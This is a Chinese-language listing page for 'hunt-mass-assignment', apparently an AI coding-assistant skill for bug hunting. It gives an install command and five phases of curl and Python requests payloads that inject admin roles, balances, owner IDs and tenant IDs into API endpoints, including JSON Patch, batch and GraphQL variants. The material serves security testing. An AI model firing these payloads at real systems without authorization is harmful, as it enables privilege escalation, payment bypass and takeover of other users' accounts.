关于 hunt-mass-assignment
hunt-mass-assignment 是用于发现 API 批量赋值漏洞的安全测试技能,涵盖敏感字段注入、载荷变体、框架专项检查与结果验证。
主要功能
- 01注入敏感字段
- 02测试命名与编码变体
- 03框架专项测试模式
- 04检查 JSON Patch 和 GraphQL
- 05验证持久化与影响
适用场景
- 01测试资料更新接口
- 02评估注册与结账 API
- 03检查 PATCH 授权缺口
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-mass-assignment安装后在 Claude Code 中输入/hunt-mass-assignment确认已加载。
详细介绍
批量赋值漏洞挖掘
挖掘批量赋值漏洞:API 端点未设置允许列表,盲目地将用户提供的字段绑定到内部对象。像 isAdmin、role、ownerId、plan、tier、balance 和 verified 这样的敏感字段,可以通过注入来提升权限、绕过付款或取得资源所有权。
适用场景
- API 接受 JSON/XML/表单请求体,其中字段超出 UI 所公开的范围。
- 用户资料更新、注册、结账或资源创建端点。
- 使用框架 ORM(Rails ActiveRecord、Laravel Eloquent、Django ORM、Mongoose、Prisma),且默认采用批量赋值。
- 接受稀疏更新的 PATCH 端点——可能会跳过逐字段授权。
快速检测
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
关键敏感字段词典
| 字段 | 影响 |
|---|---|
isAdmin、is_admin、admin | 提升为管理员 |
role、roles、user_role | 提升角色 |
ownerId、user_id、authorId | 接管资源 |
plan、tier、subscription_type | 绕过付款 |
balance、credits、wallet | 操纵财务数据 |
verified、is_verified、email_verified | 绕过验证 |
discount、coupon_applied、promo | 操纵定价 |
organizationId、tenantId、teamId | 跨租户访问 |
banned、disabled、suspended | 控制账户状态 |
流程
阶段 1 — 注入敏感字段
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
阶段 2 — 结构变体与编码
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"profile.is_admin":true}' \
-H "Content-Type: application/json"
# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-d 'user[name]=test&user[is_admin]=1' \
-H "Content-Type: application/x-www-form-urlencoded"
# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"user":{"name":"test","admin":true}}' \
-H "Content-Type: application/json"
# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"name":"test","role":"user","role":"admin"}' \
-H "Content-Type: application/json"
阶段 3 — 特定框架模式
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
"user": {"is_staff": True, "is_superuser": True}
})
# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
"name": "test", "email": "[email protected]",
"is_admin": 1, "role": "admin"
})
# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
"$set": {"role": "admin", "verified": True}
})
# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
"name": "test",
"owner": {"connect": {"id": 1}} # takeover existing owner
})
阶段 4 — 批量与 PATCH 格式利用
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"/role","value":"admin"}]'
# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/merge-patch+json" \
-d '{"role":"admin","verified":true}'
# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
-d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
阶段 5 — GraphQL 输入类型注入
mutation UpdateProfile {
updateProfile(input: {
name: "test"
role: ADMIN # injected field not in schema
isAdmin: true # injected field
}) {
id
role
}
}
注意事项
- 某些框架会静默忽略未知字段。 尝试使用不同命名约定(snake_case、camelCase、PascalCase)提交同一字段。
- PATCH 可能比 PUT 限制更少。 两种方法都要测试——某些框架会针对不同 HTTP 方法应用不同的序列化器。
- GraphQL 输入类型会公开自身结构。 使用内省查找所有可写字段,然后测试架构中未列出的额外字段。
- 批量端点通常会跳过逐项授权。 测试包含多个对象的数组,其中只有一个对象属于攻击者。
验证
- 向攻击者不应控制的 PATCH/POST/PUT 端点注入敏感字段。
- 通过 GET 读回字段,确认其已持久化。
- 确认字段变更赋予了更高权限(例如,访问管理面板、查看其他用户)。
- 使用多种命名约定进行测试,排除框架层面的字段拒绝。
- 检查批量端点和 PATCH 格式端点,它们可能使用不同的序列化器。
相关技能
hunt-api-misconfig— 更广泛的 API 错误配置问题,包括批量赋值模式。hunt-idor— 对象级授权缺陷常与批量赋值同时出现。hunt-write-gap— 允许写入但不要求读取身份验证的端点。
评论
支持 Markdown